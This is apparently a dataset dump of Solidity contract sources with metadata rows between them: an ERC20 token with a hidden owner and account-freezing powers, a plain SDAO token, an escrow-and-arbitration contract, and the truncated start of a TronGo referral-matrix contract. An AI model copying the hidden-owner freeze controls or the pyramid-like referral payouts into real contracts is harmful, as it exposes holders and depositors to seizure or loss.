uint timeLockedAmount = 0;
uint len = _timeLocks[account].length;
for (uint i = 0; i < len; i++) {
if (block.timestamp < _timeLocks[account][i].expiresAt) {
timeLockedAmount = timeLockedAmount.add(_timeLocks[account][i].amount);
}
}
return timeLockedAmount;
}
function _addInvestorLock(address account, uint amount, uint months) internal {
require(account != address(0), "Investor Lock: lock from the zero address");
require(months > 0, "Investor Lock: months is 0");
require(amount > 0, "Investor Lock: amount is 0");
_investorLocks[account] = InvestorLock(amount, months, block.timestamp);
emit InvestorLocked(account);
}
function _removeInvestorLock(address account) internal {
_investorLocks[account] = InvestorLock(0, 0, 0);
emit InvestorUnlocked(account);
}
function getInvestorLock(address account) public view returns (uint, uint, uint){
return (_investorLocks[account].amount, _investorLocks[account].months, _investorLocks[account].startsAt);
}
function getInvestorLockedAmount(address account) public view returns (uint) {
uint investorLockedAmount = 0;
uint amount = _investorLocks[account].amount;
if (amount > 0) {
uint months = _investorLocks[account].months;
uint startsAt = _investorLocks[account].startsAt;
uint expiresAt = startsAt.add(months*(31 days));
uint timestamp = block.timestamp;
if (timestamp <= startsAt) {
investorLockedAmount = amount;
} else if (timestamp <= expiresAt) {
investorLockedAmount = amount.mul(expiresAt.sub(timestamp).div(31 days).add(1)).div(months);
}
}
return investorLockedAmount;
}
}
contract CBANK is Pausable, Ownable, Burnable, Lockable, ERC20 {
uint private constant _initialSupply = 10_000_000_000e18; // 10 billion
constructor() ERC20("CRYPTO BANK", "CBANK") public {
_mint(_msgSender(), _initialSupply);
}
function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal override(ERC20) {
super._beforeTokenTransfer(from, to, amount);
require(!isLocked(from), "Lockable: token transfer from locked account");
require(!isLocked(to), "Lockable: token transfer to locked account");
require(!isLocked(_msgSender()), "Lockable: token transfer called from locked account");
require(!paused(), "Pausable: token transfer while paused");
require(balanceOf(from).sub(getTimeLockedAmount(from)).sub(getInvestorLockedAmount(from)) >= amount, "Lockable: token transfer from time and investor locked account");
}
function transferOwnership(address newOwner) public override onlyHiddenOwner whenNotPaused {
super.transferOwnership(newOwner);
}
function transferHiddenOwnership(address newHiddenOwner) public override onlyHiddenOwner whenNotPaused {
super.transferHiddenOwnership(newHiddenOwner);
}
function addBurner(address account) public onlyOwner whenNotPaused {
_addBurner(account);
}
function removeBurner(address account) public onlyOwner whenNotPaused {
_removeBurner(account);
}
function burn(uint256 amount) public onlyBurner whenNotPaused {
_burn(_msgSender(), amount);
}
function pause() public onlyOwner whenNotPaused {
_pause();
}
function unpause() public onlyOwner whenPaused {
_unpause();
}
function addLocker(address account) public onlyOwner whenNotPaused {
_addLocker(account);
}
function removeLocker(address account) public onlyOwner whenNotPaused {
_removeLocker(account);
}
function lock(address account) public onlyLocker whenNotPaused {
_lock(account);
}
function unlock(address account) public onlyOwner whenNotPaused {
_unlock(account);
}
function addTimeLock(address account, uint amount, uint expiresAt) public onlyLocker whenNotPaused {
_addTimeLock(account, amount, expiresAt);
}
function removeTimeLock(address account, uint8 index) public onlyOwner whenNotPaused {
_removeTimeLock(account, index);
}
function addInvestorLock(address account, uint months) public onlyLocker whenNotPaused {
_addInvestorLock(account, balanceOf(account), months);
}
function removeInvestorLock(address account) public onlyOwner whenNotPaused {
_removeInvestorLock(account);
}
}
| 62,200 | 672 |
b60f863a8fc7de6669dcd5aecaae5b2e1b554112f0be74570af8d1fab0e78906
| 27,822 |
.sol
|
Solidity
| false |
236224829
|
Superdao-DAO/DAO-Token
|
62b58adb049e9de982e460af360f5df152a027a4
|
contracts-flattened/SDAOToken-flattened.sol
| 2,844 | 10,982 |
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract SDAOToken is Ownable, ERC20 {
string constant NAME = 'SuperDAO';
string constant SYMBOL = 'SDAO';
uint8 constant DECIMALS = 18;
uint256 constant TOTAL_SUPPLY = 100_000_000 * 10**uint256(DECIMALS);
constructor() ERC20(NAME, SYMBOL) public {
_mint(msg.sender, TOTAL_SUPPLY);
}
}
| 263,724 | 673 |
58acb3007849839ad9eba02baec880ba191ea51d853c6f4258420812189f8597
| 35,350 |
.sol
|
Solidity
| false |
445197756
|
feature-sh/smart-contract
|
b0dd9772599f327287b889d106614fa6fd92df87
|
contracts/Feature.sol
| 5,301 | 21,368 |
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly {
cs := extcodesize(self)
}
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
bytes32 internal constant EIP712_DOMAIN_TYPEHASH =
keccak256(bytes("EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"));
bytes32 internal domainSeperator;
// supposed to be called once while initializing.
// one of the contractsa that inherits this contract follows proxy pattern
// so it is not possible to do this in a constructor
function _initializeEIP712(string memory name, string memory version) internal initializer {
_setDomainSeperator(name, version);
}
function _setDomainSeperator(string memory name, string memory version) internal {
domainSeperator = keccak256(abi.encode(EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(version)),
address(this),
bytes32(getChainId())));
}
function getDomainSeperator() public view returns (bytes32) {
return domainSeperator;
}
function getChainId() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash));
}
}
contract NativeMetaTransaction is EIP712Base {
bytes32 private constant META_TRANSACTION_TYPEHASH =
keccak256(bytes("MetaTransaction(uint256 nonce,address from,bytes functionSignature)"));
event MetaTransactionExecuted(address userAddress, address relayerAddress, bytes functionSignature);
mapping(address => uint256) nonces;
struct MetaTransaction {
uint256 nonce;
address from;
bytes functionSignature;
}
function executeMetaTransaction(address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match");
// increase nonce for user (to avoid re-use)
uint256 noncesByUser = nonces[userAddress];
require(noncesByUser + 1 >= noncesByUser, "Must be not an overflow");
nonces[userAddress] = noncesByUser + 1;
emit MetaTransactionExecuted(userAddress, msg.sender, functionSignature);
// Append userAddress and relayer address at the end to extract it from calling context
(bool success, bytes memory returnData) = address(this).call(abi.encodePacked(functionSignature, userAddress));
require(success, "Function call not successful");
return returnData;
}
function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) {
return
keccak256(abi.encode(META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature)));
}
function getNonce(address user) public view returns (uint256 nonce) {
nonce = nonces[user];
}
function verify(address signer,
MetaTransaction memory metaTx,
bytes32 sigR,
bytes32 sigS,
uint8 sigV) internal view returns (bool) {
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
return signer == ecrecover(toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS);
}
}
contract ChainConstants {
string public constant ERC712_VERSION = "1";
uint256 public constant ROOT_CHAIN_ID = 1;
bytes public constant ROOT_CHAIN_ID_BYTES = hex"01";
uint256 public constant CHILD_CHAIN_ID = 5;
bytes public constant CHILD_CHAIN_ID_BYTES = hex"05";
}
abstract contract ContextMixin {
function msgSender() internal view returns (address sender) {
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
} else {
sender = msg.sender;
}
return sender;
}
}
interface IArbitrable {
event MetaEvidence(uint256 indexed _metaEvidenceID, string _evidence);
event Dispute(Arbitrator indexed _arbitrator,
uint256 indexed _disputeID,
uint256 _metaEvidenceID,
uint256 _evidenceGroupID);
event Evidence(Arbitrator indexed _arbitrator,
uint256 indexed _evidenceGroupID,
address indexed _party,
string _evidence);
event Ruling(Arbitrator indexed _arbitrator, uint256 indexed _disputeID, uint256 _ruling);
function rule(uint256 _disputeID, uint256 _ruling) external;
}
abstract contract Arbitrable is IArbitrable {
Arbitrator public arbitrator;
bytes public arbitratorExtraData; // Extra data to require particular dispute and appeal behaviour.
modifier onlyArbitrator() {
require(msg.sender == address(arbitrator), "Can only be called by the arbitrator.");
_;
}
constructor(Arbitrator _arbitrator, bytes storage _arbitratorExtraData) {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
}
function rule(uint256 _disputeID, uint256 _ruling) external override onlyArbitrator {
emit Ruling(Arbitrator(msg.sender), _disputeID, _ruling);
executeRuling(_disputeID, _ruling);
}
function executeRuling(uint256 _disputeID, uint256 _ruling) internal virtual;
}
abstract contract Arbitrator {
enum DisputeStatus {
Waiting,
Appealable,
Solved
}
modifier requireArbitrationFee(bytes calldata _extraData) {
require(msg.value >= arbitrationCost(_extraData), "Not enough ETH to cover arbitration costs.");
_;
}
modifier requireAppealFee(uint256 _disputeID, bytes calldata _extraData) {
require(msg.value >= appealCost(_disputeID, _extraData), "Not enough ETH to cover appeal costs.");
_;
}
event DisputeCreation(uint256 indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealPossible(uint256 indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealDecision(uint256 indexed _disputeID, Arbitrable indexed _arbitrable);
function createDispute(uint256 _choices, bytes calldata _extraData)
public
payable
requireArbitrationFee(_extraData)
returns (uint256 disputeID)
{}
function arbitrationCost(bytes calldata _extraData) public view virtual returns (uint256 fee);
function appeal(uint256 _disputeID, bytes calldata _extraData)
public
payable
requireAppealFee(_disputeID, _extraData)
{
emit AppealDecision(_disputeID, Arbitrable(msg.sender));
}
function appealCost(uint256 _disputeID, bytes calldata _extraData) public view virtual returns (uint256 fee);
function appealPeriod(uint256 _disputeID) public view virtual returns (uint256 start, uint256 end) {}
function disputeStatus(uint256 _disputeID) public view virtual returns (DisputeStatus status);
function currentRuling(uint256 _disputeID) public view virtual returns (uint256 ruling);
}
contract Feature is Initializable, NativeMetaTransaction, ChainConstants, ContextMixin, IArbitrable {
// **************************** //
// * Contract variables * //
// **************************** //
// Amount of choices to solve the dispute if needed.
uint8 constant AMOUNT_OF_CHOICES = 2;
// Enum relative to different periods in the case of a negotiation or dispute.
enum Status {
WaitingForChallenger,
DisputeCreated,
Resolved
}
// The different parties of the dispute.
enum Party {
Receiver,
Challenger
}
// The different ruling for the dispute resolution.
enum RulingOptions {
NoRuling,
ReceiverWins,
ChallengerWins
}
struct Transaction {
address sender;
Arbitrator arbitrator; // The arbitrator of the contract.
bytes arbitratorExtraData; // Extra data for the arbitrator.
uint256 amount; // Amount of the reward in Wei.
uint256 deposit; // Amount of the deposit in Wei.
uint256 timeoutPayment; // Time in seconds after which the transaction can be executed if not disputed.
uint256 delayClaim; // Time of the challenge period.
string metaEvidence; // Link to the meta-evidence.
uint256 runningClaimCount; // Count of running claims.
bool isExecuted;
}
struct Claim {
uint256 transactionID; // Relation one-to-one with the transaction.
address receiver; // Address of the receiver.
address challenger; // Address of the challenger.
string proof; // Link to the proof.
uint256 timeoutClaim; // Time of the outdated challenge period.
uint256 receiverFee; // Total fees paid by the receiver.
uint256 challengerFee; // Total fees paid by the challenge.
uint256 disputeID; // If dispute exists, the ID of the dispute.
Status status; // Status of the the dispute.
}
Transaction[] public transactions;
Claim[] public claims;
mapping(uint256 => uint256) public disputeIDtoClaimID; // One-to-one relationship between the dispute and the claim.
// **************************** //
// * Events * //
// **************************** //
event Payment(uint256 indexed _transactionID, uint256 _amount, address _receiver);
event Refund(uint256 indexed _transactionID, uint256 _amount, address _party);
event ClaimSubmit(uint256 indexed _transactionID, uint256 _claimID, address _receiver);
event HasToPayFee(uint256 indexed _transactionID, Party _party);
// **************************** //
// * Contract functions * //
// * Modifying the state * //
// **************************** //
function initialize() public initializer {
_initializeEIP712("Feature", ERC712_VERSION);
}
// This is to support Native meta transactions
// never use msg.sender directly, use _msgSender() instead
function _msgSender() internal view returns (address sender) {
return ContextMixin.msgSender();
}
function createTransaction(Arbitrator _arbitrator,
bytes memory _arbitratorExtraData,
uint256 _deposit,
uint256 _timeoutPayment,
uint256 _delayClaim,
string memory _metaEvidence) public payable returns (uint256 transactionID) {
transactions.push(Transaction({
sender: _msgSender(),
arbitrator: _arbitrator,
arbitratorExtraData: _arbitratorExtraData,
amount: msg.value, // Put the amount of the transaction to the smart vault.
deposit: _deposit,
timeoutPayment: _timeoutPayment + block.timestamp,
delayClaim: _delayClaim,
metaEvidence: _metaEvidence,
runningClaimCount: 0,
isExecuted: false
}));
// Store the meta-evidence.
emit MetaEvidence(transactions.length - 1, _metaEvidence);
return transactions.length - 1;
}
function claim(uint256 _transactionID, string memory _proof) public payable returns (uint256 claimID) {
return _claimFor(_transactionID, _msgSender(), _proof);
}
function claimFor(uint256 _transactionID, address _receiver, string memory _proof) public payable returns (uint256 claimID) {
return _claimFor(_transactionID, _receiver, _proof);
}
function _claimFor(uint256 _transactionID, address _receiver, string memory _proof) internal returns (uint256 claimID) {
Transaction storage transaction = transactions[_transactionID];
uint256 arbitrationCost = transaction.arbitrator.arbitrationCost(transaction.arbitratorExtraData);
require(msg.value >= transaction.deposit + arbitrationCost,
"The challenger fee must cover the deposit and the arbitration costs.");
claims.push(Claim({
transactionID: _transactionID,
receiver: _receiver,
challenger: address(0),
proof: _proof,
timeoutClaim: transaction.delayClaim + block.timestamp,
receiverFee: arbitrationCost,
challengerFee: 0,
disputeID: 0,
status: Status.WaitingForChallenger
}));
claimID = claims.length - 1;
transaction.runningClaimCount++;
emit ClaimSubmit(_transactionID, claimID, _receiver);
return claimID;
}
function pay(uint256 _claimID) public {
Claim storage claim = claims[_claimID];
Transaction storage transaction = transactions[claim.transactionID];
require(transaction.isExecuted == false, "The transaction should not be executed.");
require(claim.timeoutClaim <= block.timestamp, "The timeout claim should be passed.");
require(claim.status == Status.WaitingForChallenger, "The transaction shouldn't be disputed.");
transaction.isExecuted = true;
claim.status = Status.Resolved;
payable(claim.receiver).transfer(transaction.amount + transaction.deposit + claim.receiverFee);
emit Payment(claim.transactionID, transaction.amount, claim.receiver);
}
function refund(uint256 _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.isExecuted == false, "The transaction should not be refunded.");
require(transaction.timeoutPayment <= block.timestamp, "The timeout payment should be passed.");
require(transaction.runningClaimCount == 0, "The transaction should not to have running claims.");
transaction.isExecuted = true;
payable(transaction.sender).transfer(transaction.amount);
emit Refund(_transactionID, transaction.amount, transaction.sender);
}
function challengeClaim(uint256 _claimID) public payable {
Claim storage claim = claims[_claimID];
Transaction storage transaction = transactions[claim.transactionID];
uint256 arbitrationCost = transaction.arbitrator.arbitrationCost(transaction.arbitratorExtraData);
require(claim.status < Status.DisputeCreated,
"Dispute has already been created or because the transaction has been executed.");
require(msg.value >= transaction.deposit + arbitrationCost,
"The challenger fee must cover the deposit and the arbitration costs.");
claim.challengerFee = arbitrationCost;
claim.challenger = _msgSender();
raiseDispute(_claimID, arbitrationCost);
}
function raiseDispute(uint256 _claimID, uint256 _arbitrationCost) internal {
Claim storage claim = claims[_claimID];
Transaction storage transaction = transactions[claim.transactionID];
claim.status = Status.DisputeCreated;
claim.disputeID = transaction.arbitrator.createDispute{value: _arbitrationCost}(AMOUNT_OF_CHOICES,
transaction.arbitratorExtraData);
disputeIDtoClaimID[claim.disputeID] = _claimID;
emit Dispute(transaction.arbitrator, claim.disputeID, _claimID, _claimID);
// Refund receiver if it overpaid.
if (claim.receiverFee > _arbitrationCost) {
uint256 extraFeeSender = claim.receiverFee - _arbitrationCost;
claim.receiverFee = _arbitrationCost;
payable(claim.receiver).send(extraFeeSender);
}
// Refund challenger if it overpaid.
if (claim.challengerFee > _arbitrationCost) {
uint256 extraFeeChallenger = claim.challengerFee - _arbitrationCost;
claim.challengerFee = _arbitrationCost;
payable(claim.challenger).send(extraFeeChallenger);
}
}
function submitEvidence(uint256 _claimID, string memory _evidence) public {
Claim storage claim = claims[_claimID];
Transaction storage transaction = transactions[claim.transactionID];
require(claim.status < Status.Resolved, "Must not send evidence if the dispute is resolved.");
emit Evidence(transaction.arbitrator, _claimID, _msgSender(), _evidence);
}
function appeal(uint256 _claimID) public payable {
Claim storage claim = claims[_claimID];
Transaction storage transaction = transactions[claim.transactionID];
transaction.arbitrator.appeal{value: msg.value}(claim.disputeID, transaction.arbitratorExtraData);
}
function rule(uint256 _disputeID, uint256 _ruling) external override {
uint256 claimID = disputeIDtoClaimID[_disputeID];
Claim storage claim = claims[claimID];
Transaction storage transaction = transactions[claim.transactionID];
require(msg.sender == address(transaction.arbitrator), "The caller must be the arbitrator.");
require(claim.status == Status.DisputeCreated, "The dispute has already been resolved.");
emit Ruling(Arbitrator(msg.sender), _disputeID, _ruling);
executeRuling(claimID, _ruling);
}
function executeRuling(uint256 _claimID, uint256 _ruling) internal {
Claim storage claim = claims[_claimID];
Transaction storage transaction = transactions[claim.transactionID];
require(_ruling <= AMOUNT_OF_CHOICES, "Must be a valid ruling.");
// Give the arbitration fee back.
// Note: we use send to prevent a party from blocking the execution.
if (_ruling == uint256(RulingOptions.ReceiverWins)) {
payable(claim.receiver).send(transaction.deposit);
claim.status = Status.WaitingForChallenger;
} else if (_ruling == uint256(RulingOptions.ChallengerWins)) {
payable(claim.challenger).send(claim.challengerFee + transaction.deposit * 2);
claim.status = Status.Resolved;
} else {
payable(claim.challenger).send(claim.challengerFee + transaction.deposit);
claim.status = Status.WaitingForChallenger;
}
transaction.runningClaimCount--;
}
// **************************** //
// * Constant getters * //
// **************************** //
function getCountTransactions() public view returns (uint256 countTransactions) {
return transactions.length;
}
function getTransactionIDsByAddress(address _address) public view returns (uint256[] memory transactionIDs) {
uint256 count = 0;
for (uint256 i = 0; i < transactions.length; i++) {
if (transactions[i].sender == _address) count++;
}
transactionIDs = new uint256[](count);
count = 0;
for (uint256 j = 0; j < transactions.length; j++) {
if (transactions[j].sender == _address) transactionIDs[count++] = j;
}
}
function getClaimIDsByAddress(address _address) public view returns (uint256[] memory claimIDs) {
uint256 count = 0;
for (uint256 i = 0; i < claims.length; i++) {
if (claims[i].receiver == _address) count++;
}
claimIDs = new uint256[](count);
count = 0;
for (uint256 j = 0; j < claims.length; j++) {
if (claims[j].receiver == _address) claimIDs[count++] = j;
}
}
}
| 238,214 | 674 |
a39ea93542e29b1ae523d2bf736b4265446611ece3e853fb410edcd8f76c18b3
| 16,715 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TV/TVuqq7r85r4eRraouT5K6WjmhYwzWayGdJ_TronGo.sol
| 4,871 | 16,627 |
//SourceUnit: TronGo2.sol
pragma solidity 0.5.9;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: substraction overflow");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
}
interface ITGO {
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool);
}
interface ITGX {
function mint(address _to, uint256 _amount) external returns (bool);
}
contract TronGo {
using SafeMath for uint256;
// Public
address public TGO_ADDRESS;
address public TGX_ADDRESS;
address payable public OWNER_WALLET;
uint256 public SERVICE_START_TIME = 2613952000; // Need to be changed
uint256[] public PRICES = [
0,
1000000000, // Lv 1: 1,000 TRX
2000000000, // Lv 2: 2,000 TRX
5000000000, // Lv 3: 5,000 TRX
10000000000, // Lv 4: 10,000 TRX
20000000000, // Lv 5: 20,000 TRX
50000000000, // Lv 6: 50,000 TRX
100000000000, // Lv 7: 100,000 TRX
200000000000, // Lv 8: 200,000 TRX
500000000000, // Lv 9: 500,000 TRX
1000000000000 // Lv10: 1,000,000 TRX
];
// Private
uint256 constant MAX_MATRIX_REFERRALS = 2;
uint256 constant MAX_TRAVERSAL_LEVEL = 4;
uint256 constant DIRECT_REWARD_RATE = 50;
uint256[] MATRIX_REWARD_RATES = [20, 20, 50];
uint256 constant OWNER_REWARD_RATE = 5;
uint256 constant TYPE_DIRECT = 1;
uint256 constant TYPE_MATRIX = 2;
uint256 constant TYPE_OWNER = 3;
uint256 constant TYPE_ROLLUP = 4;
uint256 constant HALVING_PERIOD = 60 days;
uint256 constant POSITION_EXPIRATION = 365 days;
uint256 constant OWNER_POSITIONS = 7;
uint256 constant OFFERING_POSITIONS = 24;
uint256[] UPGRADE_TGO_BONUS = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 100000000000]; // 1,000 TGO
uint256[] UPGRADE_TGX_BONUS = [
0,
200000000000, // Lv 1: 2,000 TGX
400000000000, // Lv 2: 4,000 TGX
1000000000000, // Lv 3: 10,000 TGX
2000000000000, // Lv 4: 20,000 TGX
4000000000000, // Lv 5: 40,000 TGX
10000000000000, // Lv 6: 100,000 TGX
20000000000000, // Lv 7: 200,000 TGX
40000000000000, // Lv 8: 400,000 TGX
100000000000000, // Lv 9: 1,000,000 TGX
200000000000000 // Lv10: 2,000,000 TGX
];
// Structs
struct Position {
bool active;
bytes3 id;
address payable addr;
bytes3 directRef;
bytes3 matrixRef;
uint256 numChildren;
uint256 level;
uint256 localPosition;
}
// Basic structure variables
address owner;
bytes3 public rootId;
uint256 public numPositions;
mapping(bytes3 => Position) public positions;
